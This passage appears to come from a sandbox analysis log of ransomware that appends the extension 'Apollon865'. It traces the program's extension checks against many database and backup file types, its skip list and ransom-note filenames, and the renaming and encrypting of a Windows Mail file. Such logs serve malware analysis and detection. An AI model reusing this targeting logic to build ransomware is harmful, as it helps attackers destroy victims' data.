	[0054.827] lstrlenW (lpString="fol") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fol") returned -1
	[0054.827] lstrlenW (lpString="fp3") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fp3") returned -1
	[0054.827] lstrlenW (lpString="fp4") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fp4") returned -1
	[0054.827] lstrlenW (lpString="fp5") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fp5") returned -1
	[0054.827] lstrlenW (lpString="fp7") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fp7") returned -1
	[0054.827] lstrlenW (lpString="fpt") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="fpt") returned -1
	[0054.827] lstrlenW (lpString="frm") returned 3
	[0054.827] lstrcmpiW (lpString1="chk", lpString2="frm") returned -1
	[0054.827] lstrlenW (lpString="gdb") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="gdb") returned -1
	[0054.828] lstrlenW (lpString="gdb") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="gdb") returned -1
	[0054.828] lstrlenW (lpString="grdb") returned 4
	[0054.828] lstrcmpiW (lpString1=".chk", lpString2="grdb") returned -1
	[0054.828] lstrlenW (lpString="gwi") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="gwi") returned -1
	[0054.828] lstrlenW (lpString="hdb") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="hdb") returned -1
	[0054.828] lstrlenW (lpString="his") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="his") returned -1
	[0054.828] lstrlenW (lpString="ib") returned 2
	[0054.828] lstrcmpiW (lpString1="hk", lpString2="ib") returned -1
	[0054.828] lstrlenW (lpString="idb") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="idb") returned -1
	[0054.828] lstrlenW (lpString="ihx") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="ihx") returned -1
	[0054.828] lstrlenW (lpString="itdb") returned 4
	[0054.828] lstrcmpiW (lpString1=".chk", lpString2="itdb") returned -1
	[0054.828] lstrlenW (lpString="itw") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="itw") returned -1
	[0054.828] lstrlenW (lpString="jet") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="jet") returned -1
	[0054.828] lstrlenW (lpString="jtx") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="jtx") returned -1
	[0054.828] lstrlenW (lpString="kdb") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="kdb") returned -1
	[0054.828] lstrlenW (lpString="kexi") returned 4
	[0054.828] lstrcmpiW (lpString1=".chk", lpString2="kexi") returned -1
	[0054.828] lstrlenW (lpString="kexic") returned 5
	[0054.828] lstrcmpiW (lpString1="b.chk", lpString2="kexic") returned -1
	[0054.828] lstrlenW (lpString="kexis") returned 5
	[0054.828] lstrcmpiW (lpString1="b.chk", lpString2="kexis") returned -1
	[0054.828] lstrlenW (lpString="lgc") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="lgc") returned -1
	[0054.828] lstrlenW (lpString="lwx") returned 3
	[0054.828] lstrcmpiW (lpString1="chk", lpString2="lwx") returned -1
	[0054.828] lstrlenW (lpString="maf") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="maf") returned -1
	[0054.829] lstrlenW (lpString="maq") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="maq") returned -1
	[0054.829] lstrlenW (lpString="mar") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mar") returned -1
	[0054.829] lstrlenW (lpString="marshal") returned 7
	[0054.829] lstrlenW (lpString="mas") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mas") returned -1
	[0054.829] lstrlenW (lpString="mav") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mav") returned -1
	[0054.829] lstrlenW (lpString="maw") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="maw") returned -1
	[0054.829] lstrlenW (lpString="mdbhtml") returned 7
	[0054.829] lstrlenW (lpString="mdn") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mdn") returned -1
	[0054.829] lstrlenW (lpString="mdt") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mdt") returned -1
	[0054.829] lstrlenW (lpString="mfd") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mfd") returned -1
	[0054.829] lstrlenW (lpString="mpd") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mpd") returned -1
	[0054.829] lstrlenW (lpString="mrg") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mrg") returned -1
	[0054.829] lstrlenW (lpString="mud") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mud") returned -1
	[0054.829] lstrlenW (lpString="mwb") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="mwb") returned -1
	[0054.829] lstrlenW (lpString="myd") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="myd") returned -1
	[0054.829] lstrlenW (lpString="ndf") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="ndf") returned -1
	[0054.829] lstrlenW (lpString="nnt") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="nnt") returned -1
	[0054.829] lstrlenW (lpString="nrmlib") returned 6
	[0054.829] lstrcmpiW (lpString1="db.chk", lpString2="nrmlib") returned -1
	[0054.829] lstrlenW (lpString="ns2") returned 3
	[0054.829] lstrcmpiW (lpString1="chk", lpString2="ns2") returned -1
	[0054.830] lstrlenW (lpString="ns3") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="ns3") returned -1
	[0054.830] lstrlenW (lpString="ns4") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="ns4") returned -1
	[0054.830] lstrlenW (lpString="nsf") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="nsf") returned -1
	[0054.830] lstrlenW (lpString="nv") returned 2
	[0054.830] lstrcmpiW (lpString1="hk", lpString2="nv") returned -1
	[0054.830] lstrlenW (lpString="nv2") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="nv2") returned -1
	[0054.830] lstrlenW (lpString="nwdb") returned 4
	[0054.830] lstrcmpiW (lpString1=".chk", lpString2="nwdb") returned -1
	[0054.830] lstrlenW (lpString="nyf") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="nyf") returned -1
	[0054.830] lstrlenW (lpString="odb") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="odb") returned -1
	[0054.830] lstrlenW (lpString="odb") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="odb") returned -1
	[0054.830] lstrlenW (lpString="oqy") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="oqy") returned -1
	[0054.830] lstrlenW (lpString="ora") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="ora") returned -1
	[0054.830] lstrlenW (lpString="orx") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="orx") returned -1
	[0054.830] lstrlenW (lpString="owc") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="owc") returned -1
	[0054.830] lstrlenW (lpString="p96") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="p96") returned -1
	[0054.830] lstrlenW (lpString="p97") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="p97") returned -1
	[0054.830] lstrlenW (lpString="pan") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="pan") returned -1
	[0054.830] lstrlenW (lpString="pdb") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="pdb") returned -1
	[0054.830] lstrlenW (lpString="pdm") returned 3
	[0054.830] lstrcmpiW (lpString1="chk", lpString2="pdm") returned -1
	[0054.830] lstrlenW (lpString="pnz") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="pnz") returned -1
	[0054.831] lstrlenW (lpString="qry") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="qry") returned -1
	[0054.831] lstrlenW (lpString="qvd") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="qvd") returned -1
	[0054.831] lstrlenW (lpString="rbf") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="rbf") returned -1
	[0054.831] lstrlenW (lpString="rctd") returned 4
	[0054.831] lstrcmpiW (lpString1=".chk", lpString2="rctd") returned -1
	[0054.831] lstrlenW (lpString="rod") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="rod") returned -1
	[0054.831] lstrlenW (lpString="rodx") returned 4
	[0054.831] lstrcmpiW (lpString1=".chk", lpString2="rodx") returned -1
	[0054.831] lstrlenW (lpString="rpd") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="rpd") returned -1
	[0054.831] lstrlenW (lpString="rsd") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="rsd") returned -1
	[0054.831] lstrlenW (lpString="sas7bdat") returned 8
	[0054.831] lstrlenW (lpString="sbf") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="sbf") returned -1
	[0054.831] lstrlenW (lpString="scx") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="scx") returned -1
	[0054.831] lstrlenW (lpString="sdb") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="sdb") returned -1
	[0054.831] lstrlenW (lpString="sdc") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="sdc") returned -1
	[0054.831] lstrlenW (lpString="sdf") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="sdf") returned -1
	[0054.831] lstrlenW (lpString="sis") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="sis") returned -1
	[0054.831] lstrlenW (lpString="spq") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="spq") returned -1
	[0054.831] lstrlenW (lpString="te") returned 2
	[0054.831] lstrcmpiW (lpString1="hk", lpString2="te") returned -1
	[0054.831] lstrlenW (lpString="teacher") returned 7
	[0054.831] lstrlenW (lpString="tmd") returned 3
	[0054.831] lstrcmpiW (lpString1="chk", lpString2="tmd") returned -1
	[0054.832] lstrlenW (lpString="tps") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="tps") returned -1
	[0054.832] lstrlenW (lpString="trc") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="trc") returned -1
	[0054.832] lstrlenW (lpString="trc") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="trc") returned -1
	[0054.832] lstrlenW (lpString="trm") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="trm") returned -1
	[0054.832] lstrlenW (lpString="udb") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="udb") returned -1
	[0054.832] lstrlenW (lpString="udl") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="udl") returned -1
	[0054.832] lstrlenW (lpString="usr") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="usr") returned -1
	[0054.832] lstrlenW (lpString="v12") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="v12") returned -1
	[0054.832] lstrlenW (lpString="vis") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="vis") returned -1
	[0054.832] lstrlenW (lpString="vpd") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="vpd") returned -1
	[0054.832] lstrlenW (lpString="vvv") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="vvv") returned -1
	[0054.832] lstrlenW (lpString="wdb") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="wdb") returned -1
	[0054.832] lstrlenW (lpString="wmdb") returned 4
	[0054.832] lstrcmpiW (lpString1=".chk", lpString2="wmdb") returned -1
	[0054.832] lstrlenW (lpString="wrk") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="wrk") returned -1
	[0054.832] lstrlenW (lpString="xdb") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="xdb") returned -1
	[0054.832] lstrlenW (lpString="xld") returned 3
	[0054.832] lstrcmpiW (lpString1="chk", lpString2="xld") returned -1
	[0054.832] lstrlenW (lpString="xmlff") returned 5
	[0054.832] lstrcmpiW (lpString1="b.chk", lpString2="xmlff") returned -1
	[0054.832] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.Apollon865") returned 72
	[0054.832] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk.apollon865"), dwFlags=0x1) returned 1
	[0054.833] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.833] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=8192) returned 1
	[0054.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0054.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.834] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0054.834] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.834] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.835] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x118
	[0054.836] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000
	[0054.854] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0054.855] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.855] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0054.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0054.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.856] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.856] CloseHandle (hObject=0x118) returned 1
	[0054.856] CloseHandle (hObject=0x150) returned 1
	[0054.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0054.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.856] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7bc3a13, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="Apollon865.txt.exe") returned 1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2=".") returned 1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="..") returned 1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="windows") returned -1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="bootmgr") returned 1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="temp") returned -1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="pagefile.sys") returned -1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="boot") returned 1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="ids.txt") returned -1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="ntuser.dat") returned -1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="perflogs") returned -1
	[0054.856] lstrcmpiW (lpString1="edb.log", lpString2="MSBuild") returned -1
	[0054.856] lstrlenW (lpString="edb.log") returned 7
	[0054.856] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk") returned 61
	[0054.857] lstrcpyW (in: lpString1=0x119e674, lpString2="edb.log" | out: lpString1="edb.log") returned="edb.log"
	[0054.857] lstrlenW (lpString="edb.log") returned 7
	[0054.857] lstrlenW (lpString="Apollon865") returned 10
	[0054.857] lstrlenW (lpString=".dll") returned 4
	[0054.857] lstrcmpiW (lpString1="edb.log", lpString2=".dll") returned 1
	[0054.857] lstrlenW (lpString=".lnk") returned 4
	[0054.857] lstrcmpiW (lpString1="edb.log", lpString2=".lnk") returned 1
	[0054.857] lstrlenW (lpString=".ini") returned 4
	[0054.857] lstrcmpiW (lpString1="edb.log", lpString2=".ini") returned 1
	[0054.857] lstrlenW (lpString=".sys") returned 4
	[0054.857] lstrcmpiW (lpString1="edb.log", lpString2=".sys") returned 1
	[0054.857] lstrlenW (lpString="edb.log") returned 7
	[0054.857] lstrlenW (lpString="bak") returned 3
	[0054.857] lstrcmpiW (lpString1="log", lpString2="bak") returned 1
	[0054.857] lstrlenW (lpString="ba_") returned 3
	[0054.857] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1
	[0054.857] lstrlenW (lpString="dbb") returned 3
	[0054.857] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1
	[0054.857] lstrlenW (lpString="vmdk") returned 4
	[0054.857] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1
	[0054.857] lstrlenW (lpString="rar") returned 3
	[0054.857] lstrcmpiW (lpString1="log", lpString2="rar") returned -1
	[0054.857] lstrlenW (lpString="zip") returned 3
	[0054.857] lstrcmpiW (lpString1="log", lpString2="zip") returned -1
	[0054.857] lstrlenW (lpString="tgz") returned 3
	[0054.857] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1
	[0054.857] lstrlenW (lpString="vbox") returned 4
	[0054.857] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1
	[0054.857] lstrlenW (lpString="vdi") returned 3
	[0054.857] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1
	[0054.857] lstrlenW (lpString="vhd") returned 3
	[0054.857] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1
	[0054.857] lstrlenW (lpString="vhdx") returned 4
	[0054.857] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1
	[0054.857] lstrlenW (lpString="avhd") returned 4
	[0054.857] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1
	[0054.857] lstrlenW (lpString="db") returned 2
	[0054.858] lstrcmpiW (lpString1="og", lpString2="db") returned 1
	[0054.858] lstrlenW (lpString="db2") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="db2") returned 1
	[0054.858] lstrlenW (lpString="db3") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="db3") returned 1
	[0054.858] lstrlenW (lpString="dbf") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1
	[0054.858] lstrlenW (lpString="mdf") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1
	[0054.858] lstrlenW (lpString="mdb") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1
	[0054.858] lstrlenW (lpString="sql") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="sql") returned -1
	[0054.858] lstrlenW (lpString="sqlite") returned 6
	[0054.858] lstrcmpiW (lpString1="db.log", lpString2="sqlite") returned -1
	[0054.858] lstrlenW (lpString="sqlite3") returned 7
	[0054.858] lstrlenW (lpString="sqlitedb") returned 8
	[0054.858] lstrlenW (lpString="xml") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="xml") returned -1
	[0054.858] lstrlenW (lpString="$er") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="$er") returned 1
	[0054.858] lstrlenW (lpString="4dd") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1
	[0054.858] lstrlenW (lpString="4dl") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1
	[0054.858] lstrlenW (lpString="^^^") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1
	[0054.858] lstrlenW (lpString="abs") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="abs") returned 1
	[0054.858] lstrlenW (lpString="abx") returned 3
	[0054.858] lstrcmpiW (lpString1="log", lpString2="abx") returned 1
	[0054.858] lstrlenW (lpString="accdb") returned 5
	[0054.858] lstrcmpiW (lpString1="b.log", lpString2="accdb") returned 1
	[0054.858] lstrlenW (lpString="accdc") returned 5
	[0054.858] lstrcmpiW (lpString1="b.log", lpString2="accdc") returned 1
	[0054.858] lstrlenW (lpString="accde") returned 5
	[0054.858] lstrcmpiW (lpString1="b.log", lpString2="accde") returned 1
	[0054.858] lstrlenW (lpString="accdr") returned 5
	[0054.859] lstrcmpiW (lpString1="b.log", lpString2="accdr") returned 1
	[0054.859] lstrlenW (lpString="accdt") returned 5
	[0054.859] lstrcmpiW (lpString1="b.log", lpString2="accdt") returned 1
	[0054.859] lstrlenW (lpString="accdw") returned 5
	[0054.859] lstrcmpiW (lpString1="b.log", lpString2="accdw") returned 1
	[0054.859] lstrlenW (lpString="accft") returned 5
	[0054.859] lstrcmpiW (lpString1="b.log", lpString2="accft") returned 1
	[0054.859] lstrlenW (lpString="adb") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0054.859] lstrlenW (lpString="adb") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0054.859] lstrlenW (lpString="ade") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="ade") returned 1
	[0054.859] lstrlenW (lpString="adf") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="adf") returned 1
	[0054.859] lstrlenW (lpString="adn") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="adn") returned 1
	[0054.859] lstrlenW (lpString="adp") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="adp") returned 1
	[0054.859] lstrlenW (lpString="alf") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="alf") returned 1
	[0054.859] lstrlenW (lpString="ask") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="ask") returned 1
	[0054.859] lstrlenW (lpString="btr") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="btr") returned 1
	[0054.859] lstrlenW (lpString="cat") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="cat") returned 1
	[0054.859] lstrlenW (lpString="cdb") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1
	[0054.859] lstrlenW (lpString="ckp") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1
	[0054.859] lstrlenW (lpString="cma") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="cma") returned 1
	[0054.859] lstrlenW (lpString="cpd") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1
	[0054.859] lstrlenW (lpString="dacpac") returned 6
	[0054.859] lstrcmpiW (lpString1="db.log", lpString2="dacpac") returned 1
	[0054.859] lstrlenW (lpString="dad") returned 3
	[0054.859] lstrcmpiW (lpString1="log", lpString2="dad") returned 1
	[0054.860] lstrlenW (lpString="dadiagrams") returned 10
	[0054.860] lstrlenW (lpString="daschema") returned 8
	[0054.860] lstrlenW (lpString="db-journal") returned 10
	[0054.860] lstrlenW (lpString="db-shm") returned 6
	[0054.860] lstrcmpiW (lpString1="db.log", lpString2="db-shm") returned -1
	[0054.860] lstrlenW (lpString="db-wal") returned 6
	[0054.860] lstrcmpiW (lpString1="db.log", lpString2="db-wal") returned -1
	[0054.860] lstrlenW (lpString="dbc") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1
	[0054.860] lstrlenW (lpString="dbs") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1
	[0054.860] lstrlenW (lpString="dbt") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1
	[0054.860] lstrlenW (lpString="dbv") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1
	[0054.860] lstrlenW (lpString="dbx") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1
	[0054.860] lstrlenW (lpString="dcb") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1
	[0054.860] lstrlenW (lpString="dct") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dct") returned 1
	[0054.860] lstrlenW (lpString="dcx") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dcx") returned 1
	[0054.860] lstrlenW (lpString="ddl") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="ddl") returned 1
	[0054.860] lstrlenW (lpString="dlis") returned 4
	[0054.860] lstrcmpiW (lpString1=".log", lpString2="dlis") returned -1
	[0054.860] lstrlenW (lpString="dp1") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dp1") returned 1
	[0054.860] lstrlenW (lpString="dqy") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dqy") returned 1
	[0054.860] lstrlenW (lpString="dsk") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dsk") returned 1
	[0054.860] lstrlenW (lpString="dsn") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dsn") returned 1
	[0054.860] lstrlenW (lpString="dtsx") returned 4
	[0054.860] lstrcmpiW (lpString1=".log", lpString2="dtsx") returned -1
	[0054.860] lstrlenW (lpString="dxl") returned 3
	[0054.860] lstrcmpiW (lpString1="log", lpString2="dxl") returned 1
	[0054.860] lstrlenW (lpString="eco") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="eco") returned 1
	[0054.861] lstrlenW (lpString="ecx") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="ecx") returned 1
	[0054.861] lstrlenW (lpString="edb") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="edb") returned 1
	[0054.861] lstrlenW (lpString="epim") returned 4
	[0054.861] lstrcmpiW (lpString1=".log", lpString2="epim") returned -1
	[0054.861] lstrlenW (lpString="fcd") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fcd") returned 1
	[0054.861] lstrlenW (lpString="fdb") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fdb") returned 1
	[0054.861] lstrlenW (lpString="fic") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fic") returned 1
	[0054.861] lstrlenW (lpString="flexolibrary") returned 12
